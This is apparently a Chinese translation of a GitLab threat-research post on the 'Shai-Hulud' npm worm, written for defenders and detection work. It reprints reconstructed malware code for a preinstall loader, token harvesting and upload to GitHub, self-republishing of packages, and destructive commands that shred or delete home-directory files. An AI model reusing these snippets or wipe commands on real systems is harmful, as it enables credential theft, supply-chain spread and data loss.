GitLab 揭露大规模 npm 供应链攻击及其技术细节

GitLab 安全研究团队发现了一场活跃的大规模 npm 供应链攻击,攻击涉及一款名为"Shai-Hulud"的破坏性恶意软件变种。该软件具有蠕虫式传播能力、凭证窃取、数据外泄功能,并包含一个危险的"死锁开关",一旦传播渠道被切断,将触发用户数据销毁。

GitLab 发现大规模 npm 供应链攻击 GitLab 发现大规模 npm 供应链攻击

GitLab 漏洞研究团队发现了一场活跃的、大规模的供应链攻击,涉及一种通过 npm 生态系统传播的破坏性恶意软件变种。我们的内部监控系统发现了多个受感染的软件包,其中包含似乎是 “Shai-Hulud” 恶意软件的进化版本。

初步分析显示,该软件具有蠕虫式的传播行为,会自动感染受影响开发者维护的其他软件包。最关键的是,我们发现该恶意软件包含一个"死锁开关"机制,如果其传播和外泄渠道被切断,它将威胁销毁用户数据。

我们已经确认 GitLab 没有使用任何恶意软件包,并分享我们的发现,以帮助更广泛的安全社区做出有效响应。

攻击内部详情

我们的内部监控系统会扫描开源软件包注册表中的恶意软件包,已识别出多个感染了复杂恶意软件的 npm 软件包,该恶意软件:

  • 从 GitHub、npm、AWS、GCP 和 Azure 窃取凭证
  • 将被盗数据外泄到攻击者控制的 GitHub 仓库
  • 通过自动感染受害者拥有的其他软件包进行传播
  • 包含一个破坏性载荷,在恶意软件失去对其基础设施的访问权限时触发

虽然我们已经确认了几个受感染的软件包,但蠕虫式的传播机制意味着可能有更多软件包受到感染。随着我们努力了解此活动的全部范围,调查仍在进行中。

技术分析:攻击如何展开

初始感染媒介

恶意软件通过精心设计的多阶段加载过程侵入系统。受感染的软件包包含一个修改过的 package.json,其中有一个指向 setup_bun.jspreinstall 脚本。这个加载器脚本看似无害,声称要安装 Bun JavaScript 运行时(这是一个合法工具)。然而,其真正目的是建立恶意软件的执行环境。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 该文件作为 setup_bun.js 被添加到受害者的软件包中
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // 下载并安装 bun
  let command = process.platform === 'win32' 
    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // 运行实际的恶意软件
  runExecutable(bunPath, ['bun_environment.js']);
}

setup_bun.js 加载器下载或在系统上定位 Bun 运行时,然后执行捆绑的 bun_environment.js 载荷,这是一个 10MB 的混淆文件,已存在于受感染的软件包中。这种方法提供了多层规避:初始加载器很小且看似合法,而实际的恶意代码则被严重混淆并捆绑到一个文件,其大小使随意检查变得困难。

凭证窃取

一旦执行,恶意软件立即开始从多个来源发现凭证:

  • GitHub 令牌:在环境变量和 GitHub CLI 配置中搜索以 ghp_(GitHub 个人访问令牌)或 gho_(GitHub OAuth 令牌)开头的令牌
  • 云凭证:使用官方 SDK 枚举 AWS、GCP 和 Azure 的凭证,检查环境变量、配置文件和元数据服务
  • npm 令牌:从 .npmrc 文件和环境变量中提取用于软件包发布的令牌,这些是安全存储敏感配置和凭证的常见位置。
  • 文件系统扫描:下载并执行 Trufflehog(一个合法的安全工具)来扫描整个主目录,寻找隐藏在配置文件、源代码或 git 历史记录中的 API 密钥、密码和其他秘密。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // 扫描用户的主目录以查找秘密
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // 将发现结果上传到外泄仓库
  await github.saveContents(\"truffleSecrets.json\", 
    JSON.stringify(findings));
}

数据外泄网络

恶意软件使用窃取的 GitHub 令牌创建公开仓库,并在其描述中包含一个特定的标记:“Sha1-Hulud: The Second Coming。” 这些仓库充当被盗凭证和系统信息的接收箱。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
async function createRepo(name) {
  // 创建一个带有特定描述标记的仓库
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: \"Sha1-Hulud: The Second Coming.\", // 用于后续查找仓库的标记
    private: false,
    auto_init: false,
    has_discussions: true
  });
  
  // 安装 GitHub Actions runner 以保持持久性
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"
    );
    await installRunner(token); // 安装自托管的 runner
  }
  
  return repo;
}

关键的是,如果初始的 GitHub 令牌权限不足,恶意软件会搜索带有相同标记的其他受感染仓库,从而允许其从其他受感染系统中检索令牌。这创建了一个弹性的、类似僵尸网络的网络,使得受感染系统可以共享访问令牌。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 恶意软件网络如何共享令牌:
async fetchToken() {
  // 在 GitHub 上搜索带有识别标记的仓库
  let results = await this.octokit.search.repos({
    q: '\"Sha1-Hulud: The Second Coming.\"',
    sort: \"updated\"
  });
  
  // 尝试从受感染的仓库中检索令牌
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // 使用来自另一个受感染系统的令牌
    }
  }
  return null;  // 在网络中未找到有效令牌
}

供应链传播

使用窃取的 npm 令牌,恶意软件:

  • 下载受害者维护的所有软件包
  • setup_bun.js 加载器注入到每个软件包的 preinstall 脚本中
  • 捆绑恶意的 bun_environment.js 载荷
  • 递增软件包版本号
  • 将受感染的软件包重新发布到 npm
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async function updatePackage(packageInfo) {
  // 下载原始软件包
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // 提取并修改 package.json
  let packageJson = JSON.parse(await readFile(\"package.json\"));
  
  // 添加恶意的 preinstall 脚本
  packageJson.scripts.preinstall = \"node setup_bun.js\";
  
  // 递增版本号
  let version = packageJson.version.split(\".\").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(\".\");
  
  // 捆绑后门安装程序
  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);
  
  // 重新打包并发布
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

死锁开关

我们的分析发现了一个旨在保护恶意软件基础设施免受关闭尝试的破坏性载荷。 恶意软件持续监控其对 GitHub(用于外泄)和 npm(用于传播)的访问。如果受感染系统同时失去对两个渠道的访问权限,它会立即触发对受感染计算机上的数据销毁。在 Windows 上,它会尝试删除所有用户文件并覆盖磁盘扇区。在 Unix 系统上,它使用 shred 在删除前覆盖文件,使恢复几乎不可能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 关键:令牌验证失败触发销毁
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // 尝试查找或创建 GitHub 访问权限
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // 在受感染的仓库中搜索令牌
    
    if (!fetchedToken) {  // 无法获得 GitHub 访问权限
      if (npmToken) {
        // 回退到仅使用 NPM 传播
        await El(npmToken);
      } else {
        // 销毁触发器:没有 GitHub 且没有 NPM 访问权限
        console.log(\"Error 12\");
        if (platform === \"windows\") {
          // 尝试删除所有用户文件并覆盖磁盘扇区
          Bun.spawnSync([\"cmd.exe\", \"/c\", 
            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +
            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +
            \"cipher /W:%USERPROFILE%\"  // 覆盖已删除的数据
          ]);
        } else {
          // 尝试在主目录中粉碎所有可写文件
          Bun.spawnSync([\"bash\", \"-c\", 
            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +
            \"xargs -0 -r shred -uvz -n 1 && \" +  // 覆盖并删除
            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 删除空目录
          ]);
        }
        process.exit(0);
      }
    }
  }
}

这造成了一个危险的场景。如果 GitHub 大规模删除恶意软件的仓库或 npm 批量撤销受感染的令牌,成千上万的受感染系统可能会同时销毁用户数据。攻击的分布式性质意味着每台受感染的机器都独立监控访问权限,并在检测到关闭时触发删除用户的数据。

入侵指标

为了帮助检测和响应,以下是我们分析过程中识别的更全面的关键入侵指标列表。

类型 指标 描述
文件 bun_environment.js node_modules 目录中的恶意安装后脚本
目录 .truffler-cache/ 在用户主目录中创建的隐藏目录,用于存储 Trufflehog 二进制文件
目录 .truffler-cache/extract/ 用于二进制提取的临时目录
文件 .truffler-cache/trufflehog 下载的 Trufflehog 二进制文件(Linux/Mac)
文件 .truffler-cache/trufflehog.exe 下载的 Trufflehog 二进制文件(Windows)
进程 del /F /Q /S \"%USERPROFILE%*\" Windows 破坏性载荷命令
进程 shred -uvz -n 1 Linux/Mac 破坏性载荷命令
进程 cipher /W:%USERPROFILE% Windows 有效载荷中的安全删除命令
命令 `curl -fsSL https://bun.sh/install bash`
命令 `powershell -c "irm bun.sh/install.ps1 iex"`

GitLab 如何帮助您检测此恶意软件活动

如果您正在使用 GitLab Ultimate,您可以利用内置的安全功能,立即在您的项目中呈现与此攻击相关的暴露情况。 首先,启用依赖项扫描,以根据已知漏洞数据库自动分析项目的依赖项。如果受感染的软件包存在于您的 package-lock.jsonyarn.lock 文件中,依赖项扫描将在您的流水线结果和漏洞报告中标记它们。有关完整设置说明,请参阅依赖项扫描文档

启用后,引入受感染软件包的合并请求将在代码到达您的主分支之前显示警告。 接下来,GitLab Duo Chat 可以与依赖项扫描一起使用,提供一种快速检查项目暴露情况的方法,而无需浏览报告。从下拉菜单中选择"安全分析代理",只需询问以下类似问题:

  • “我的任何依赖项是否受到 Shai-Hulud v2 恶意软件活动的影响?”
  • “此项目是否有任何 npm 供应链漏洞?”
  • “显示我的 JavaScript 依赖项中的关键漏洞。”

该代理将查询您项目的漏洞数据并提供直接答案,帮助安全团队跨多个项目快速进行分类。

对于管理许多仓库的团队,我们建议结合使用这些方法:在 CI/CD 中使用依赖项扫描进行持续自动检测,并在像此次这样的活动事件期间,使用安全分析代理进行临时调查和快速响应。

展望未来

这次活动代表了供应链攻击的一种演变,其中附带损害的威胁成为攻击者基础设施的主要防御机制。随着我们与社区合作以了解全部范围并制定安全的修复策略,调查仍在进行中。 GitLab 的自动检测系统继续监控新的感染和此攻击的变种。通过尽早分享我们的发现,我们希望帮助社区有效响应,同时避免由恶意软件的死锁开关设计带来的陷阱。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计